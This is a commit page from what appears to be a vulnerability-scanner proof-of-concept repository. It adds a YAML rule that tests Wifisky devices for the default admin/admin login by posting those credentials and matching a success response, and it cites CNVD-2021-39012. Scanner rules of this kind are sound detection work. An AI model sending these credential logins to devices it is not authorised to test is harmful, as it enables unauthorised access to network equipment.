update PoC:wifisky-7-default-password (chaitin#1371)

Co-authored-by: fast <[email protected]>
li95 · Jul 29, 2021 · 9726b1e · 9726b1e
1 parent 85238b6
commit 9726b1e
Show file tree

Hide file tree

Showing 2 changed files with 13 additions and 13 deletions.
diff --git a/pocs/wifisky-7-default-password.yml b/pocs/wifisky-7-default-password.yml
diff --git a/pocs/wifisky-default-password-cnvd-2021-39012.yml b/pocs/wifisky-default-password-cnvd-2021-39012.yml
@@ -0,0 +1,13 @@
+name: poc-yaml-wifisky-default-password-cnvd-2021-39012
+rules:
+  - method: POST
+    path: /login.php?action=login&type=admin
+    follow_redirects: false
+    body: >-
+      username=admin&password=admin
+    expression: |
+      response.status == 200 && response.body.bcontains(b"{\"success\":\"true\", \"data\":{\"id\":1}, \"alert\":\"您正在使用默认密码登录，为保证设备安全，请立即修改密码\"}")
+detail:
+  author: Print1n(http://print1n.top)
+  links:
+    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-39012